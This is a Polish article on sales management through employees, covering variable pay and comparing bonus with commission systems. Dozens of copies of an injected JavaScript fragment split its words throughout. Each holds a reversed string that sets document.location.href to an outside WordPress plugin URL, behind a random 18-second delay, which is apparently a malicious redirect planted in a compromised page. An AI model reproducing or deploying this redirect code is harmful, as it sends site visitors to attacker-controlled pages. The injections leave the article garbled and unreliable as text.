Dobrze jest sterować sprzedażą, najlepiej w uporządkowany sposób w postaci zarządzania magiczną formułą sprzedaży.
Zarządzaniu tą formułą służy wiele narządzi, ale chyba najskuteczniejszym (choć najdroższym) jest pracownik.
Każda z me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod zarządzania formułą ma swój potencjał, swój własny sposób, ale i własny koszt. Akurat w zarządzaniu pracownikami chodzi o zmianę zachowań. Ten sposób ma duży potencjał, przede wszystkim po stronie średniej war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.
Uwaga. „tak jak z samoobsługą”. Ze zmiennymi systemami wynagradzania jest tak samo jak z samoobsługą. Ta jak najbardziej może być realną i zyskowną alternatywą dla intensywnej obsługi klienta. Jest mniej wydajna i mniej skuteczna, ale za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest znacznie tańsza. I jeśli Model Biznesowy stawia na niskie koszty (cecha Modelu), a potencjał wzrost sprzedaży jest w danym obszarze ograniczony (cecha rynku), toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z powodzeniem może funkcjonować. Jednak samoobsługa ma wiele złożonych mechanizmów działania, bez znajomości których nie da się uzyskać toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrego efektu.
Z wynagradzaniem jest tak samo. Zarządzanie przez zmienny system płac jest dużo mniej efektywne, niż przez zarządzanie przez menedżerów, ale znacznie łatwiejsze. I dużo tańsze. Jeśli więc Model jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego przys toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowany, z łatwością je zastąpi. Tak samo jednak jak z samoobsługą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do uzyskania skuteczności potrzebne są pewne specyficzne umiejętności, jakie jak wysokość składnika zmiennego, sposób jego uzależnienia (w jakim s toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu i w jakim zakresie). A także, czy powinien toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być system bonusowy, od zrealizowania zadania, czy prowizyjny, jako udział w zysku.
Zarządzanie formułą przez pracowników ma też tę zaletę, że jest wprawdzie drogi, ale już i tak zapłacony. Dodatkowo płaci się już nie za obecność i podstawowe zachowania (te już są w pakiecie), ale za ich zmianę. Można zapłacić na różne sposoby, w postaci kosztów zarządzania albo w postaci toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowego wynagrodzenia. Zacząć jednak trzeba od potencjału, gdyż toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zestawić z potencjalnym kosztem.
Chodzi o zmianę zachowań
W zarządzaniu pracownikami chodzi o dwie rzeczy. Z jednej strony o zapewnienie pewnego minimum, obiecanego klien toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi ( toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w dużej mierze nic innego jak spełnienie obietnicy) oraz wykorzystanie potencjału tkwiącego w o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu, już w ramach przyjętego systemu. Ta druga część toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już nie wypełnienie obietnicy, tylko zarządzanie magiczną formułą.
Uwaga. „keep the promise”. Każdy Koncept Sprzedażowy składa klien toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom jakąś obietnicę. Pod wieloma względami, także pod względem obsługi. I robi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezależnie od tego, czy o tym wie, czy nie. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z tej obietnicy rozliczają go klienci. Tu można tylko zepsuć (wtedy nie będzie tych 80%). Wyjście poza tę obietnicę oznacza toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe koszty (zawsze), ale rzadko też toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe przychody. Chyba że ta toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowa obsługa
Jak sprzedaż zależy od skłatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowych zarządzania pracownikiem. Podstawowa, największa część sprzedaży zależy od elementów koncep toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych. Tu zarządzanie pracownikiem może tylko popsuć, ale niewiele toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dołożyć. Zarządzanie magiczną formułą przeciwnie, niewiele można tu zepsuć, ale wiele zyskać.
Z tego podstawy Konceptu zapewniają ok. 80% obrotu. Lepsze czy gorsze zarządzanie może toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dołożyć kolejne 20%. Ale mimo wszystko nie należy tej części lekceważyć. Te 20% mogą zadecytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dować o zwycięstwie w walce konkurencyjnej.
Uwaga. „można tylko popsuć”. Wiele firm wyobraża sobie, że obsługa powinna być jak najlepsza. To wcale nie takie oczywiste. Obsługa kosztuje (zawsze), a rzadko przynosi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe obroty. Na poziomie obietnicy można tylko zepsuć. Tu „przekraczaj oczekiwania” zostanie przez klienta przyjęte z ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dością, ale nie z otwartym portfelem. Tu potencjał zarządzania personelem jest tylko negatywny. Tu można tylko popsuć, ale niewiele „wycisnąć”.
Żeby sięgnąć po toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe pieniądze, trzeba albo zmienić obietnicę na poziomie Modelu, albo właśnie zarządzić formułą. Zmiana Modelu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprawa złożona, ryzykowana i długotrwała. Znacznie lepiej i zyskowniej skoncentrować się na zarządzaniu magiczną formułą.
Jak działa magiczna formułą sprzedaży? Kaskatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowo. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero ostatni poziom jest operacyjnie zarządzalny. Tak jest zawsze, w każdym rodzaju zarządzania formułą, nie tylko w przypadku zarządzania personelem. Ale w zarządzaniu personelem tę kaskatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowość widać najlepiej.
Spośród wszystkich sposobów na zarządzanie formułą, zarządzanie pracownikami sięga najgłębiej w zarządzanie magiczną formułą, gdyż toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do poziomu zachowań. To bardzo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze, gdyż jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to poziom operacyjnie zarządzalny (tak naprawdę jako jedyny). Jak jednak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do niego sięgnąć? Nie ma lepszego sposobu niż zarządzanie. Właśnie już nie ogólnie formułą, ale konkretnie pracownikiem.
Jak zarządzać pracownikiem?
Można toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić na różne sposoby. Niezależnie jednak od wybranej me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody, lepiej nim w ogóle zarządzać, niż pozostawić sprawy własnemu biegowi. Najpowszechniejszy sposób toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przekupstwo. Polega na tym, że pracownikowi płaci się za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze pracował. I płaci mu się za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w jakiejś proporcji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze (w ocenie firmy pracuje). Można też mu płacić za wynik.
Uwaga. „zmienne wynagrodzenie ma zastąpić zarządzanie”. To dlatego najlepsi menedżerowie radzą sobie bez niego (wystarczą im stałe pensje). A im ci menedżerowie gorsi, tym większa presja na zmienny system wynagradzania.
Sposoby zarządzania pracownikiem. Są na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co najmniej 4 sposoby. Można przekupić, zmotywować (ale już inaczej niż finansowo), zarządzić albo zmusić. Najskuteczniejsze jest zarządzanie, choć też jednocześnie najtrudniejsze.
Wynagrodzenie. Inaczej przekupstwo. Tu płaca nie tylko jest ceną za pracę, czyli równoważy podaży z popytem (co jest jej naturalna rolą). Ona ma także skłaniać toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do lepszej pracy. Czyli być motywa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem. Pomijając już toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że działa krótko, gdyż wszyscy się szybko przyzwyczajają.
Uwaga. „wynagrodzenie reguluje rynek”. To inaczej punkt spotkania się popytu z podażą. Dodatkowo zależy już indywidualnie od polityki firmy (z jednej strony), jak i od umiejętności pracownika (z drugiej), które toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czynniki modyfikują poziom rynkowy.
Nawet zmienny system wynagrodzeń nie może odejść od tej zasady. I łączna kwota wynagrodzenia powinna jakość odnieść się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do poziomu rynkowego. Jeśli znacznie od niego odbiegnie, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w perspektywie kilku miesięcy zacznie się negatywne oddziaływanie systemu wynagrodzeń, zniechęcenie, a w końcu zmiana pracodawcy.
Samo wynagrodzenie nie jest składnikiem zarządzania, a jeśli już, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jako czynnik negatywny. Zbyt niskie demotywuje i skłania najpierw toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do gorszej pracy, a następnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do jej zmiany. Staje się sposobem na zarządzanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero gdy zaczyna być zmienne, czyli nagradza za pewne zachowania a karze za niepożądane. Zmienność wynagrodzenia może być bonusowa (wtedy składnik zmienny jest przydzielany w zamian za wykonanie jakiegoś konkretnego zadania) albo prowizyjny (w zamian za osiągnięcie wyniku, w jakiejś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do niego proporcji).
Prowizja czy bonus? To zależy. Najbardziej zależy od polityki firmy. To także w dużej mierze kwestia wiary, gdyż związek z efektem jest złożony i występuje nie tylko w zakresie objętym celami bonusu czy podstawą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do prowizji. Najbardziej bowiem liczą się nieuświatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domione skutki uboczne, rzadko uwzględniane, a nawet zauważane.
|
System |
Bonusowy |
Prowizyjny |
Uwagi |
|
Za co system nagradza |
Zadanie |
Wynik |
Kwota albo % od wyniku |
|
Proporcja toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do całości wynagrodzenia |
20-30% |
Do 50% |
Pracownik ocenia łączną kwotę |
|
Liczba składników |
2-3 |
1-2 |
Większą liczbą nie da się zarządzać |
|
Główna szansa |
Ręczne sterowanie priorytetami |
Maksymalizowanie sprzedaży |
W obu przypadkach liczy się cel krótkookresowy. Występuje też konflikt między celami |
|
Zagrożenie |
Zaniedbanie innych celów |
Nie liczenie się z kosztami |
Uwaga. „stały składnik wynagrodzenia”. W nawet najbardziej zmiennym systemie wynagradzania jest zwykle stały składnik. I on przecież też jest za coś. Właśnie za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrą pracę (gdyż jeśli k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś źle pracuje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie powinien mniej zarabiać, tylko zostać zwolniony).
Motywowanie. Ulubiony temat książek o zarządzaniu pracownikami. Ale przecież podstawowym motywem pracy jest w ogóle chęć zatrudnienia się u danego pracodawcy? A jeśli tej chęci nie ma, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po co obie strony mają się męczyć?
Zmuszanie. Tu następuje próba szczegółowego określenia wszystkich zachowań, a następnie ich kontrola. Model kuszący, ale drogi. I jak każdy system oparty na strach rodzi opór i próby obejścia. Długo więc się w ten sposób nie pozarządza.
Jasne reguły. Tu nie ma miejsca na lepszą i gorszą pracę, przynajmniej w pewnym zakresie. Firma ustala tzw. company basics i z tym nie można dysku toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować. Ich nie wykonywanie kończy się zawsze i nieuchronnie zwolnieniem. Do pewnego s toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topnia toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmuszanie, ale w ograniczonym zakresie.
Jeśli jednak firma zdecyduje się na zmienny system wynagradzania, pozostaje decyzja, jaki wybrać system. Można wynagradzać proporcjonalnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wyniku albo za wykonanie zadań. Czyli prowizją albo bonusem.
Bonus
To kwota która przyznawana jest za wykonanie zadania. Musi być z góry znana i wyjaśnione zasady funkcjonowania, gdyż inaczej nie zmieni zachowania.
Bonus powinien być za coś. Za coś konkretnego i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w z góry określonej wysokości. W organizacji sprzedażowej wszystkie zadania tak czy inaczej odnoszą się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do sprzedaży, ale niektóre, bardzo ważne, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero w długim okresie. Np. posprzątanie zaplecza jest ważne, ale wpływ na sprzedaż jest nieoczywisty, a na pewno nie bezpośredni.
Ile może być tytułów toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do bonusu? Niewiele. Cele toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do bonusu podlegają takiej samej inflacji, jak pieniądze, tylko o wiele szybciej. Najskuteczniej działa jeden cel, ale mało która organizacja potrafi się powstrzymać przed mnożeniem wielu jak najbardziej słusznych celów. W praktyce zawsze trzeba coś wybrać i trudno zachować równowagę nawet między dwoma. Nawet jeśli cele nie są wzajemnie sprzeczne (jak np. porządek i obsługa), toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak rywalizują o czas, zasoby i uwagę.
Uwaga. „nie można oszukiwać”. Choć toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo kuszące. Gdyż toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to numer na raz i drugi raz już się oszukać nie da. To złota reguła systemu bonusowego (jak zresztą każdego opartego na obietnicy i jej spełnieniu).
